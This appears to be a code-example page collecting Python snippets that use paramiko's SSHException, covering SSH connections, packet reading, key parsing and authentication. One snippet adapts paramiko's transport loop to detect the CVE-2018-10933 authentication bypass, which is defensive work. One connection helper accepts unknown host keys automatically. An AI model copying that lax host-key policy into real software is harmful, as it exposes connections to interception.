    port : {int}, optional
        Port number to connect to (the default is 22)

    Raises
    ------
    FileNotFoundError
        If keyfile does not exist
    SSHException
        General exception raised if anything goes wrong during ssh connection

    Returns
    -------
    paramiko.SSHClient
        Open ssh connection.
    """

    logger = logging.getLogger(__name__)

    if not key:
        key = os.path.expanduser('~/.ssh/id_rsa')
    if not os.path.isfile(key):
        logger.error('{} is not a valid ssh key file...'.format(key))
        raise FileNotFoundError(key)

    ssh = pm.SSHClient()
    # Append username & hostname attributes to ssh class
    ssh.user, ssh.host = user, host
    try:
        ssh.load_system_host_keys(os.path.expanduser('~/.ssh/known_hosts'))
    except (IOError, FileNotFoundError):
        ssh.load_system_host_keys()
    ssh.set_missing_host_key_policy(pm.WarningPolicy())

    try:
        ssh.connect(hostname=host,
                    port=port,
                    username=user,
                    key_filename=key,
                    timeout=5,
                    look_for_keys=False)
        # Test connection
        ssh.exec_command('ls', timeout=5)
    except (AuthenticationException, BadAuthenticationType,
            BadHostKeyException, ChannelException, NoValidConnectionsError,
            PasswordRequiredException, SSHException, PartialAuthentication,
            ProxyCommandFailure, timeout, gaierror) as err:
        logger.error('Could not connect to host {:s}: {}...'.format(host, err))
        # Raise general exception to be catched outside
        raise SSHException(err)

    return ssh
    def run(self):
        """
        Run function from paramiko.Transport.

        This function was copied from Paramiko (paramiko.Transport) in order to implement the CVE-2018-10933
        vulnerability. The only change in this function is where we added if ptype == MSG_USERAUTH_SUCCESS.
        """
        # noqa: W503, E722
        # (use the exposed "run" method, because if we specify a thread target
        # of a private method, threading.Thread will keep a reference to it
        # indefinitely, creating a GC cycle and not letting Transport ever be
        # GC'd. it's a bug in Thread.)

        # Hold reference to 'sys' so we can test sys.modules to detect
        # interpreter shutdown.
        self.sys = sys

        # active=True occurs before the thread is launched, to avoid a race
        _active_threads.append(self)
        tid = hex(long(id(self)) & xffffffff)
        if self.server_mode:
            self._log(DEBUG, "starting thread (server mode): {}".format(tid))
        else:
            self._log(DEBUG, "starting thread (client mode): {}".format(tid))
        try:
            try:
                self.packetizer.write_all(b(self.local_version + "\r\n"))
                self._log(
                    DEBUG,
                    "Local version/idstring: {}".format(self.local_version),
                )  # noqa
                self._check_banner()
                # The above is actually very much part of the handshake, but
                # sometimes the banner can be read but the machine is not
                # responding, for example when the remote ssh daemon is loaded
                # in to memory but we can not read from the disk/spawn a new
                # shell.
                # Make sure we can specify a timeout for the initial handshake.
                # Re-use the banner timeout for now.
                self.packetizer.start_handshake(self.handshake_timeout)
                self._send_kex_init()
                self._expect_packet(MSG_KEXINIT)

                while self.active:
                    if self.packetizer.need_rekey() and not self.in_kex:
                        self._send_kex_init()
                    try:
                        ptype, m = self.packetizer.read_message()
                    except NeedRekeyException:
                        continue
                    # START - This is the part the implements the detection of CVE-2018-10933
                    if ptype == MSG_USERAUTH_SUCCESS:
                        self.alert(self.sock)
                        continue
                    # END - This is the part the implements the detection of CVE-2018-10933
                    if ptype == MSG_IGNORE:
                        continue
                    elif ptype == MSG_DISCONNECT:
                        self._parse_disconnect(m)
                        break
                    elif ptype == MSG_DEBUG:
                        self._parse_debug(m)
                        continue
                    if len(self._expected_packet) > 0:
                        if ptype not in self._expected_packet:
                            raise SSHException(
                                "Expecting packet from {!r}, got {:d}".format(
                                    self._expected_packet, ptype))  # noqa
                        self._expected_packet = tuple()
                        if (ptype >= 30) and (ptype <= 41):
                            self.kex_engine.parse_next(ptype, m)
                            continue

                    if ptype in self._handler_table:
                        error_msg = self._ensure_authed(ptype, m)
                        if error_msg:
                            self._send_message(error_msg)
                        else:
                            self._handler_table[ptype](self, m)
                    elif ptype in self._channel_handler_table:
                        chanid = m.get_int()
                        chan = self._channels.get(chanid)
                        if chan is not None:
                            self._channel_handler_table[ptype](chan, m)
                        elif chanid in self.channels_seen:
                            self._log(
                                DEBUG,
                                "Ignoring message for dead channel {:d}".
                                format(  # noqa
                                    chanid),
                            )
                        else:
                            self._log(
                                ERROR,
                                "Channel request for unknown channel {:d}".
                                format(  # noqa
                                    chanid),
                            )
                            break
                    elif (self.auth_handler is not None and  # noqa: W504
                          ptype in self.auth_handler._handler_table):
                        handler = self.auth_handler._handler_table[ptype]
                        handler(self.auth_handler, m)
                        if len(self._expected_packet) > 0:
                            continue
                    else:
                        # Respond with "I don't implement this particular
                        # message type" message (unless the message type was
                        # itself literally MSG_UNIMPLEMENTED, in which case, we
                        # just shut up to avoid causing a useless loop).
                        name = MSG_NAMES[ptype]
                        warning = "Oops, unhandled type {} ({!r})".format(
                            ptype, name)
                        self._log(WARNING, warning)
                        if ptype != MSG_UNIMPLEMENTED:
                            msg = Message()
                            msg.add_byte(cMSG_UNIMPLEMENTED)
                            msg.add_int(m.seqno)
                            self._send_message(msg)
                    self.packetizer.complete_handshake()
            except SSHException as e:
                self._log(ERROR, "Exception: " + str(e))
                self._log(ERROR, util.tb_strings())
                self.saved_exception = e
            except EOFError as e:
                self._log(DEBUG, "EOF in transport thread")
                self.saved_exception = e
            except socket.error as e:
                if type(e.args) is tuple:
                    if e.args:
                        emsg = "{} ({:d})".format(e.args[1], e.args[0])
                    else:  # empty tuple, e.g. socket.timeout
                        emsg = str(e) or repr(e)
                else:
                    emsg = e.args
                self._log(ERROR, "Socket exception: " + emsg)
                self.saved_exception = e
            except Exception as e:
                self._log(ERROR, "Unknown exception: " + str(e))
                self._log(ERROR, util.tb_strings())
                self.saved_exception = e
            _active_threads.remove(self)
            for chan in list(self._channels.values()):
                chan._unlink()
            if self.active:
                self.active = False
                self.packetizer.close()
                if self.completion_event is not None:
                    self.completion_event.set()
                if self.auth_handler is not None:
                    self.auth_handler.abort()
                for event in self.channel_events.values():
                    event.set()
                try:
                    self.lock.acquire()
                    self.server_accept_cv.notify()
                finally:
                    self.lock.release()
            self.sock.close()
        except:  # noqa: E722
            # Don't raise spurious 'NoneType has no attribute X' errors when we
            # wake up during interpreter shutdown. Or rather -- raise
            # everything *if* sys.modules (used as a convenient sentinel)
            # appears to still exist.
            if self.sys.modules is not None:
                raise
Exemplo n.º 13
0
            keyfiles.append((RSAKey, rsa_key))
        if os.path.isfile(dsa_key):
            keyfiles.append((DSSKey, dsa_key))
        for pkey_class, filename in keyfiles:
            try:
                key = pkey_class.from_private_key_file(filename, password)
                self._log(
                    DEBUG, 'Trying discovered key %s in %s' %
                    (hexlify(key.get_fingerprint()), filename))
                self._transport.auth_publickey(username, key)
                return
            except SSHException, e:
                saved_exception = e
            except IOError, e:
                saved_exception = e

        if password is not None:
            try:
                self._transport.auth_password(username, password)
                return
            except SSHException, e:
                saved_exception = e

        # if we got an auth-failed exception earlier, re-raise it
        if saved_exception is not None:
            raise saved_exception
        raise SSHException('No authentication methods available')

    def _log(self, level, msg):
        self._transport._log(level, msg)
Exemplo n.º 14
0
 def test_ssh_exception(self):
     self.mock_lookup_keys_manager.return_value.add_public_key = MagicMock(side_effect=SSHException())
     result, message, status = self.run_add_pub_key_to_resource()
     self.assertFalse(result)
     self.assertEqual(status, 502)
Exemplo n.º 15
0
    def _parse_service_accept(self, m):
        service = m.get_text()
        if service == "ssh-userauth":
            self._log(DEBUG, "userauth is OK")
            m = Message()
            m.add_byte(cMSG_USERAUTH_REQUEST)
            m.add_string(self.username)
            m.add_string("ssh-connection")
            m.add_string(self.auth_method)
            if self.auth_method == "password":
                m.add_boolean(False)
                password = bytestring(self.password)
                m.add_string(password)
            elif self.auth_method == "publickey":
                m.add_boolean(True)
                # Use certificate contents, if available, plain pubkey
                # otherwise
                if self.private_key.public_blob:
                    m.add_string(self.private_key.public_blob.key_type)
                    m.add_string(self.private_key.public_blob.key_blob)
                else:
                    m.add_string(self.private_key.get_name())
                    m.add_string(self.private_key)
                blob = self._get_session_blob(self.private_key,
                                              "ssh-connection", self.username)
                sig = self.private_key.sign_ssh_data(blob)
                m.add_string(sig)
            elif self.auth_method == "keyboard-interactive":
                m.add_string("")
                m.add_string(self.submethods)
            elif self.auth_method == "gssapi-with-mic":
                sshgss = GSSAuth(self.auth_method, self.gss_deleg_creds)
                m.add_bytes(sshgss.ssh_gss_oids())
                # send the supported GSSAPI OIDs to the server
                self.transport._send_message(m)
                ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_BANNER:
                    self._parse_userauth_banner(m)
                    ptype, m = self.transport.packetizer.read_message()
                if ptype == MSG_USERAUTH_GSSAPI_RESPONSE:
                    # Read the mechanism selected by the server. We send just
                    # the Kerberos V5 OID, so the server can only respond with
                    # this OID.
                    mech = m.get_string()
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                    try:
                        m.add_string(
                            sshgss.ssh_init_sec_context(
                                self.gss_host, mech, self.username))
                    except GSS_EXCEPTIONS as e:
                        return self._handle_local_gss_failure(e)
                    self.transport._send_message(m)
                    while True:
                        ptype, m = self.transport.packetizer.read_message()
                        if ptype == MSG_USERAUTH_GSSAPI_TOKEN:
                            srv_token = m.get_string()
                            try:
                                next_token = sshgss.ssh_init_sec_context(
                                    self.gss_host,
                                    mech,
                                    self.username,
                                    srv_token,
                                )
                            except GSS_EXCEPTIONS as e:
                                return self._handle_local_gss_failure(e)
                            # After this step the GSSAPI should not return any
                            # token. If it does, we keep sending the token to
                            # the server until no more token is returned.
                            if next_token is None:
                                break
                            else:
                                m = Message()
                                m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                                m.add_string(next_token)
                                self.transport.send_message(m)
                    else:
                        raise SSHException("Received Package: {}".format(
                            MSG_NAMES[ptype]))
                    m = Message()
                    m.add_byte(cMSG_USERAUTH_GSSAPI_MIC)
                    # send the MIC to the server
                    m.add_string(sshgss.ssh_get_mic(self.transport.session_id))
                elif ptype == MSG_USERAUTH_GSSAPI_ERRTOK:
                    # RFC 4462 says we are not required to implement GSS-API
                    # error messages.
                    # See RFC 4462 Section 3.8 in
                    # http://www.ietf.org/rfc/rfc4462.txt
                    raise SSHException("Server returned an error token")
                elif ptype == MSG_USERAUTH_GSSAPI_ERROR:
                    maj_status = m.get_int()
                    min_status = m.get_int()
                    err_msg = m.get_string()
                    m.get_string()  # Lang tag - discarded
                    raise SSHException("""GSS-API Error:
Major Status: {}
Minor Status: {}
Error Message: {}
""".format(maj_status, min_status, err_msg))
                elif ptype == MSG_USERAUTH_FAILURE:
                    self._parse_userauth_failure(m)
                    return
                else:
                    raise SSHException("Received Package: {}".format(
                        MSG_NAMES[ptype]))
            elif (self.auth_method == "gssapi-keyex"
                  and self.transport.gss_kex_used):
                kexgss = self.transport.kexgss_ctxt
                kexgss.set_username(self.username)
                mic_token = kexgss.ssh_get_mic(self.transport.session_id)
                m.add_string(mic_token)
            elif self.auth_method == "none":
                pass
            else:
                raise SSHException('Unknown auth method "{}"'.format(
                    self.auth_method))
            self.transport._send_message(m)
        else:
            self._log(DEBUG,
                      'Service request "{}" accepted (?)'.format(service))
Exemplo n.º 16
0
    def _read_private_key_new_format(data, password):
        """
        Read the new OpenSSH SSH2 private key format available
        since OpenSSH version 6.5
        Reference:
        https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key
        https://coolaj86.com/articles/the-openssh-private-key-format/
        """
        message = Message(data)
        OPENSSH_AUTH_MAGIC = b"openssh-key-v1\x00"
        if message.get_bytes(len(OPENSSH_AUTH_MAGIC)) != OPENSSH_AUTH_MAGIC:
            raise SSHException("unexpected OpenSSH key header encountered")

        cipher = message.get_text()
        kdfname = message.get_text()
        kdfoptions = message.get_binary()
        num_keys = message.get_int()

        if num_keys > 1:
            raise SSHException(
                "unsupported: private keyfile has multiple keys")

        public_data = message.get_binary()
        privkey_blob = message.get_binary()

        pub_keytype = Message(public_data).get_text()

        if kdfname == "none":
            if kdfoptions or cipher != "none":
                raise SSHException("Invalid key options for kdf 'none'")
            private_data = privkey_blob

        elif kdfname == "bcrypt":
            if not password:
                raise PasswordRequiredException(
                    "Private key file is encrypted")
            if cipher == 'aes256-cbc':
                mode = modes.CBC
            elif cipher == 'aes256-ctr':
                mode = modes.CTR
            else:
                raise SSHException(
                    "unknown cipher '%s' used in private key file" % cipher)

            kdf = Message(kdfoptions)
            salt = kdf.get_binary()
            rounds = kdf.get_int()

            # run bcrypt kdf to derive key and iv/nonce (desired_key_bytes = 32 + 16 bytes)
            key_iv = bcrypt.kdf(b(password),
                                salt,
                                48,
                                rounds,
                                ignore_few_rounds=True)
            key = key_iv[:32]
            iv = key_iv[32:]
            # decrypt private key blob
            decryptor = Cipher(algorithms.AES(key), mode(iv),
                               default_backend()).decryptor()
            private_data = decryptor.update(
                privkey_blob) + decryptor.finalize()

        else:
            raise SSHException(
                "unknown cipher or kdf used in private key file")

        # Unpack private key and verify checkints
        priv_msg = Message(private_data)
        checkint1 = priv_msg.get_int()
        checkint2 = priv_msg.get_int()
        if checkint1 != checkint2:
            raise SSHException(
                'OpenSSH private key file checkints do not match')

        keytype = priv_msg.get_text()
        if pub_keytype != keytype:
            raise SSHException(
                "Inconsistent key types for public and private parts")

        keydata = priv_msg.get_remainder()
        return keytype, _unpad(keydata)
Exemplo n.º 17
0
    def read_message(self):
        """
        Only one thread should ever be in this function (no other locking is
        done).

        :raises: `.SSHException` -- if the packet is mangled
        :raises: `.NeedRekeyException` -- if the transport should rekey
        """
        header = self.read_all(self.__block_size_in, check_rekey=True)
        if self.__block_engine_in is not None:
            header = self.__block_engine_in.update(header)
        if self.__dump_packets:
            self._log(DEBUG, util.format_binary(header, 'IN: '))
        packet_size = struct.unpack('>I', header[:4])[0]
        # leftover contains decrypted bytes from the first block (after the
        # length field)
        leftover = header[4:]
        if (packet_size - len(leftover)) % self.__block_size_in != 0:
            raise SSHException('Invalid packet blocking')
        buf = self.read_all(packet_size + self.__mac_size_in - len(leftover))
        packet = buf[:packet_size - len(leftover)]
        post_packet = buf[packet_size - len(leftover):]
        if self.__block_engine_in is not None:
            packet = self.__block_engine_in.update(packet)
        if self.__dump_packets:
            self._log(DEBUG, util.format_binary(packet, 'IN: '))
        packet = leftover + packet

        if self.__mac_size_in > 0:
            mac = post_packet[:self.__mac_size_in]
            mac_payload = struct.pack(
                '>II', self.__sequence_number_in, packet_size) + packet
            my_mac = compute_hmac(
                self.__mac_key_in,
                mac_payload,
                self.__mac_engine_in)[:self.__mac_size_in]
            if not util.constant_time_bytes_eq(my_mac, mac):
                raise SSHException('Mismatched MAC')
        padding = byte_ord(packet[0])
        payload = packet[1:packet_size - padding]

        if self.__dump_packets:
            self._log(
                DEBUG,
                'Got payload (%d bytes, %d padding)' % (packet_size, padding))

        if self.__compress_engine_in is not None:
            payload = self.__compress_engine_in(payload)

        msg = Message(payload[1:])
        msg.seqno = self.__sequence_number_in
        self.__sequence_number_in = (self.__sequence_number_in + 1) & xffffffff

        # check for rekey
        raw_packet_size = packet_size + self.__mac_size_in + 4
        self.__received_bytes += raw_packet_size
        self.__received_packets += 1
        if self.__need_rekey:
            # we've asked to rekey -- give them some packets to comply before
            # dropping the connection
            self.__received_bytes_overflow += raw_packet_size
            self.__received_packets_overflow += 1
            if (self.__received_packets_overflow >=
                    self.REKEY_PACKETS_OVERFLOW_MAX) or \
               (self.__received_bytes_overflow >=
                    self.REKEY_BYTES_OVERFLOW_MAX):
                raise SSHException(
                    'Remote transport is ignoring rekey requests')
        elif (self.__received_packets >= self.REKEY_PACKETS) or \
             (self.__received_bytes >= self.REKEY_BYTES):
            # only ask once for rekeying
            self._log(DEBUG, 'Rekeying (hit %d packets, %d bytes received)' %
                      (self.__received_packets, self.__received_bytes))
            self.__received_bytes_overflow = 0
            self.__received_packets_overflow = 0
            self._trigger_rekey()

        cmd = byte_ord(payload[0])
        if cmd in MSG_NAMES:
            cmd_name = MSG_NAMES[cmd]
        else:
            cmd_name = '$%x' % cmd
        if self.__dump_packets:
            self._log(
                DEBUG,
                'Read packet <%s>, length %d' % (cmd_name, len(payload)))
        return cmd, msg
Exemplo n.º 18
0
    def _parse_signing_key_data(self, data, password):
        from paramiko.transport import Transport
        # We may eventually want this to be usable for other key types, as
        # OpenSSH moves to it, but for now this is just for Ed25519 keys.
        # This format is described here:
        # https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key
        # The description isn't totally complete, and I had to refer to the
        # source for a full implementation.
        message = Message(data)
        if message.get_bytes(len(OPENSSH_AUTH_MAGIC)) != OPENSSH_AUTH_MAGIC:
            raise SSHException("Invalid key")

        ciphername = message.get_text()
        kdfname = message.get_text()
        kdfoptions = message.get_binary()
        num_keys = message.get_int()

        if kdfname == "none":
            # kdfname of "none" must have an empty kdfoptions, the ciphername
            # must be "none"
            if kdfoptions or ciphername != "none":
                raise SSHException("Invalid key")
        elif kdfname == "bcrypt":
            if not password:
                raise PasswordRequiredException(
                    "Private key file is encrypted")
            kdf = Message(kdfoptions)
            bcrypt_salt = kdf.get_binary()
            bcrypt_rounds = kdf.get_int()
        else:
            raise SSHException("Invalid key")

        if ciphername != "none" and ciphername not in Transport._cipher_info:
            raise SSHException("Invalid key")

        public_keys = []
        for _ in range(num_keys):
            pubkey = Message(message.get_binary())
            if pubkey.get_text() != "ssh-ed25519":
                raise SSHException("Invalid key")
            public_keys.append(pubkey.get_binary())

        private_ciphertext = message.get_binary()
        if ciphername == "none":
            private_data = private_ciphertext
        else:
            cipher = Transport._cipher_info[ciphername]
            key = bcrypt.kdf(
                password=password,
                salt=bcrypt_salt,
                desired_key_bytes=cipher["key-size"] + cipher["block-size"],
                rounds=bcrypt_rounds,
                # We can't control how many rounds are on disk, so no sense
                # warning about it.
                ignore_few_rounds=True,
            )
            decryptor = Cipher(cipher["class"](key[:cipher["key-size"]]),
                               cipher["mode"](key[cipher["key-size"]:]),
                               backend=default_backend()).decryptor()
            private_data = (decryptor.update(private_ciphertext) +
                            decryptor.finalize())

        message = Message(unpad(private_data))
        if message.get_int() != message.get_int():
            raise SSHException("Invalid key")

        signing_keys = []
        for i in range(num_keys):
            if message.get_text() != "ssh-ed25519":
                raise SSHException("Invalid key")
            # A copy of the public key, again, ignore.
            public = message.get_binary()
            key_data = message.get_binary()
            # The second half of the key data is yet another copy of the public
            # key...
            signing_key = nacl.signing.SigningKey(key_data[:32])
            # Verify that all the public keys are the same...
            assert (signing_key.verify_key.encode() == public == public_keys[i]
                    == key_data[32:])
            signing_keys.append(signing_key)
            # Comment, ignore.
            message.get_binary()

        if len(signing_keys) != 1:
            raise SSHException("Invalid key")
        return signing_keys[0]
Exemplo n.º 19
0
 def _check(self, *args, **kwds):
     if (self.closed or self.eof_received or self.eof_sent
             or not self.active):
         raise SSHException('Channel is not open')
     return func(self, *args, **kwds)
Exemplo n.º 20
0
    def __init__(self,
                 msg=None,
                 data=None,
                 filename=None,
                 password=None,
                 vals=None,
                 file_obj=None,
                 validate_point=True,
                 _raw=None):
        self.verifying_key = None
        self.signing_key = None
        self.public_blob = None
        if file_obj is not None:
            _raw = self._from_private_key(file_obj, password)
        if filename is not None:
            _raw = self._from_private_key_file(filename, password)
        if _raw is not None:
            self._decode_key(_raw)
            return

        if (msg is None) and (data is not None):
            msg = Message(data)
        if vals is not None:
            self.signing_key, self.verifying_key = vals
            c_class = self.signing_key.curve.__class__
            self.ecdsa_curve = self._ECDSA_CURVES.get_by_curve_class(c_class)
        else:
            # Must set ecdsa_curve first; subroutines called herein may need to
            # spit out our get_name(), which relies on this.
            key_type = msg.get_text()
            # But this also means we need to hand it a real key/curve
            # identifier, so strip out any cert business. (NOTE: could push
            # that into _ECDSACurveSet.get_by_key_format_identifier(), but it
            # feels more correct to do it here?)
            suffix = '*****@*****.**'
            if key_type.endswith(suffix):
                key_type = key_type[:-len(suffix)]
            self.ecdsa_curve = self._ECDSA_CURVES.get_by_key_format_identifier(
                key_type)
            key_types = self._ECDSA_CURVES.get_key_format_identifier_list()
            cert_types = [
                '{}[email protected]'.format(x) for x in key_types
            ]
            self._check_type_and_load_cert(
                msg=msg,
                key_type=key_types,
                cert_type=cert_types,
            )
            curvename = msg.get_text()
            if curvename != self.ecdsa_curve.nist_name:
                raise SSHException(
                    "Can't handle curve of type {}".format(curvename))

            pointinfo = msg.get_binary()
            try:
                if hasattr(ec.EllipticCurvePublicKey, 'from_encoded_point'):
                    key = ec.EllipticCurvePublicKey.from_encoded_point(
                        self.ecdsa_curve.curve_class(), pointinfo)
                    self.verifying_key = key
                else:
                    numbers = ec.EllipticCurvePublicNumbers.from_encoded_point(
                        self.ecdsa_curve.curve_class(), pointinfo)
                    self.verifying_key = numbers.public_key(
                        backend=default_backend())
            except ValueError:
                raise SSHException("Invalid public key")
Exemplo n.º 21
0
    def _connect(self, host, socket=None):
        """
        Order of precedence for SSH connection parameters:

        1. If user supplies parameters via action parameters, we use them to connect.
        2. For parameters not supplied via action parameters, if there is an entry
           for host in SSH config file, we use those. Note that this is a merge operation.
        3. If user does not supply certain action parameters (username and key file location)
           and there is no entry for host in SSH config file, we use values supplied in
           st2 config file for those parameters.

        :type host: ``str``
        :param host: Host to connect to

        :type socket: :class:`paramiko.Channel` or an opened :class:`socket.socket`
        :param socket: If specified, won't open a socket for communication to the specified host
                       and will use this instead

        :return: A connected SSHClient
        :rtype: :class:`paramiko.SSHClient`
        """

        conninfo = {
            'hostname': host,
            'allow_agent': False,
            'look_for_keys': False,
            'timeout': self.timeout
        }

        ssh_config_file_info = {}
        if cfg.CONF.ssh_runner.use_ssh_config:
            ssh_config_file_info = self._get_ssh_config_for_host(host)

        self.username = (self.username
                         or ssh_config_file_info.get('user', None)
                         or cfg.CONF.system_user.user)
        self.port = self.port or ssh_config_file_info.get(
            'port' or None) or DEFAULT_SSH_PORT

        # If both key file and key material are provided as action parameters,
        # throw an error informing user only one is required.
        if self.key_files and self.key_material:
            msg = (
                'key_files and key_material arguments are mutually exclusive. Supply only one.'
            )
            raise ValueError(msg)

        # If neither key material nor password is provided, only then we look at key file and decide
        # if we want to use the user supplied one or the one in SSH config.
        if not self.key_material and not self.password:
            self.key_files = (self.key_files or ssh_config_file_info.get(
                'identityfile', None) or cfg.CONF.system_user.ssh_key_file)

        if self.passphrase and not (self.key_files or self.key_material):
            raise ValueError(
                'passphrase should accompany private key material')

        credentials_provided = self.password or self.key_files or self.key_material

        if not credentials_provided:
            msg = (
                'Either password or key file location or key material should be supplied '
                +
                'for action. You can also add an entry for host %s in SSH config file %s.'
                % (host, self.ssh_config_file))
            raise ValueError(msg)

        conninfo['username'] = self.username
        conninfo['port'] = self.port

        if self.password:
            conninfo['password'] = self.password

        if self.key_files:
            conninfo['key_filename'] = self.key_files

            passphrase_reqd = self._is_key_file_needs_passphrase(
                self.key_files)
            if passphrase_reqd and not self.passphrase:
                msg = (
                    'Private key file %s is passphrase protected. Supply a passphrase.'
                    % self.key_files)
                raise paramiko.ssh_exception.PasswordRequiredException(msg)

            if self.passphrase:
                # Optional passphrase for unlocking the private key
                conninfo['password'] = self.passphrase

        if self.key_material:
            conninfo['pkey'] = self._get_pkey_object(
                key_material=self.key_material, passphrase=self.passphrase)

        if not self.password and not (self.key_files or self.key_material):
            conninfo['allow_agent'] = True
            conninfo['look_for_keys'] = True

        extra = {
            '_hostname': host,
            '_port': self.port,
            '_username': self.username,
            '_timeout': self.timeout
        }
        self.logger.debug('Connecting to server', extra=extra)

        socket = socket or ssh_config_file_info.get('sock', None)
        if socket:
            conninfo['sock'] = socket

        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        extra = {'_conninfo': conninfo}
        self.logger.debug('Connection info', extra=extra)
        try:
            client.connect(**conninfo)
        except SSHException as e:
            paramiko_msg = str(e)

            if conninfo.get('password', None):
                conninfo['password'] = '******'

            msg = ('Error connecting to host %s ' % host +
                   'with connection parameters %s.' % conninfo +
                   'Paramiko error: %s.' % paramiko_msg)
            raise SSHException(msg)

        return client
Exemplo n.º 22
0
    def read_message(self):
        """
        Only one thread should ever be in this function (no other locking is
        done).

        :raises: `.SSHException` -- if the packet is mangled
        :raises: `.NeedRekeyException` -- if the transport should rekey
        """
        header = self.read_all(self.__block_size_in, check_rekey=True)
        if self.__etm_in:
            packet_size = struct.unpack(">I", header[:4])[0]
            remaining = packet_size - self.__block_size_in + 4
            packet = header[4:] + self.read_all(remaining, check_rekey=False)
            mac = self.read_all(self.__mac_size_in, check_rekey=False)
            mac_payload = (
                struct.pack(">II", self.__sequence_number_in, packet_size)
                + packet
            )
            my_mac = compute_hmac(
                self.__mac_key_in, mac_payload, self.__mac_engine_in
            )[: self.__mac_size_in]
            if not util.constant_time_bytes_eq(my_mac, mac):
                raise SSHException("Mismatched MAC")
            header = packet

        if self.__block_engine_in is not None:
            header = self.__block_engine_in.update(header)
        if self.__dump_packets:
            self._log(DEBUG, util.format_binary(header, "IN: "))

        # When ETM is in play, we've already read the packet size & decrypted
        # everything, so just set the packet back to the header we obtained.
        if self.__etm_in:
            packet = header
        # Otherwise, use the older non-ETM logic
        else:
            packet_size = struct.unpack(">I", header[:4])[0]

            # leftover contains decrypted bytes from the first block (after the
            # length field)
            leftover = header[4:]
            if (packet_size - len(leftover)) % self.__block_size_in != 0:
                raise SSHException("Invalid packet blocking")
            buf = self.read_all(
                packet_size + self.__mac_size_in - len(leftover)
            )
            packet = buf[: packet_size - len(leftover)]
            post_packet = buf[packet_size - len(leftover) :]

            if self.__block_engine_in is not None:
                packet = self.__block_engine_in.update(packet)
            packet = leftover + packet

        if self.__dump_packets:
            self._log(DEBUG, util.format_binary(packet, "IN: "))

        if self.__mac_size_in > 0 and not self.__etm_in:
            mac = post_packet[: self.__mac_size_in]
            mac_payload = (
                struct.pack(">II", self.__sequence_number_in, packet_size)
                + packet
            )
            my_mac = compute_hmac(
                self.__mac_key_in, mac_payload, self.__mac_engine_in
            )[: self.__mac_size_in]
            if not util.constant_time_bytes_eq(my_mac, mac):
                raise SSHException("Mismatched MAC")
        padding = byte_ord(packet[0])
        payload = packet[1 : packet_size - padding]

        if self.__dump_packets:
            self._log(
                DEBUG,
                "Got payload ({} bytes, {} padding)".format(
                    packet_size, padding
                ),
            )

        if self.__compress_engine_in is not None:
            payload = self.__compress_engine_in(payload)

        msg = Message(payload[1:])
        msg.seqno = self.__sequence_number_in
        self.__sequence_number_in = (self.__sequence_number_in + 1) & xffffffff

        # check for rekey
        raw_packet_size = packet_size + self.__mac_size_in + 4
        self.__received_bytes += raw_packet_size
        self.__received_packets += 1
        if self.__need_rekey:
            # we've asked to rekey -- give them some packets to comply before
            # dropping the connection
            self.__received_bytes_overflow += raw_packet_size
            self.__received_packets_overflow += 1
            if (
                self.__received_packets_overflow
                >= self.REKEY_PACKETS_OVERFLOW_MAX
            ) or (
                self.__received_bytes_overflow >= self.REKEY_BYTES_OVERFLOW_MAX
            ):
                raise SSHException(
                    "Remote transport is ignoring rekey requests"
                )
        elif (self.__received_packets >= self.REKEY_PACKETS) or (
            self.__received_bytes >= self.REKEY_BYTES
        ):
            # only ask once for rekeying
            err = "Rekeying (hit {} packets, {} bytes received)"
            self._log(
                DEBUG,
                err.format(self.__received_packets, self.__received_bytes),
            )
            self.__received_bytes_overflow = 0
            self.__received_packets_overflow = 0
            self._trigger_rekey()

        cmd = byte_ord(payload[0])
        if cmd in MSG_NAMES:
            cmd_name = MSG_NAMES[cmd]
        else:
            cmd_name = "${:x}".format(cmd)
        if self.__dump_packets:
            self._log(
                DEBUG,
                "Read packet <{}>, length {}".format(cmd_name, len(payload)),
            )
        return cmd, msg
Exemplo n.º 23
0
 def _parse_service_accept(self, m):
     service = m.get_text()
     if service == 'ssh-userauth':
         self.transport._log(DEBUG, 'userauth is OK')
         m = Message()
         m.add_byte(cMSG_USERAUTH_REQUEST)
         m.add_string(self.username)
         m.add_string('ssh-connection')
         m.add_string(self.auth_method)
         if self.auth_method == 'password':
             m.add_boolean(False)
             password = bytestring(self.password)
             m.add_string(password)
         elif self.auth_method == 'publickey':
             m.add_boolean(True)
             m.add_string(self.private_key.get_name())
             m.add_string(self.private_key)
             blob = self._get_session_blob(self.private_key, 'ssh-connection', self.username)
             sig = self.private_key.sign_ssh_data(blob)
             m.add_string(sig)
         elif self.auth_method == 'keyboard-interactive':
             m.add_string('')
             m.add_string(self.submethods)
         elif self.auth_method == "gssapi-with-mic":
             sshgss = GSSAuth(self.auth_method, self.gss_deleg_creds)
             m.add_bytes(sshgss.ssh_gss_oids())
             # send the supported GSSAPI OIDs to the server
             self.transport._send_message(m)
             ptype, m = self.transport.packetizer.read_message()
             if ptype == MSG_USERAUTH_BANNER:
                 self._parse_userauth_banner(m)
                 ptype, m = self.transport.packetizer.read_message()
             if ptype == MSG_USERAUTH_GSSAPI_RESPONSE:
                 # Read the mechanism selected by the server. We send just
                 # the Kerberos V5 OID, so the server can only respond with
                 # this OID.
                 mech = m.get_string()
                 m = Message()
                 m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                 m.add_string(sshgss.ssh_init_sec_context(self.gss_host,
                                                          mech,
                                                          self.username,))
                 self.transport._send_message(m)
                 while True:
                     ptype, m = self.transport.packetizer.read_message()
                     if ptype == MSG_USERAUTH_GSSAPI_TOKEN:
                         srv_token = m.get_string()
                         next_token = sshgss.ssh_init_sec_context(self.gss_host,
                                                                  mech,
                                                                  self.username,
                                                                  srv_token)
                         # After this step the GSSAPI should not return any
                         # token. If it does, we keep sending the token to
                         # the server until no more token is returned.
                         if next_token is None:
                             break
                         else:
                             m = Message()
                             m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN)
                             m.add_string(next_token)
                             self.transport.send_message(m)
                 else:
                     raise SSHException("Received Package: %s" % MSG_NAMES[ptype])
                 m = Message()
                 m.add_byte(cMSG_USERAUTH_GSSAPI_MIC)
                 # send the MIC to the server
                 m.add_string(sshgss.ssh_get_mic(self.transport.session_id))
             elif ptype == MSG_USERAUTH_GSSAPI_ERRTOK:
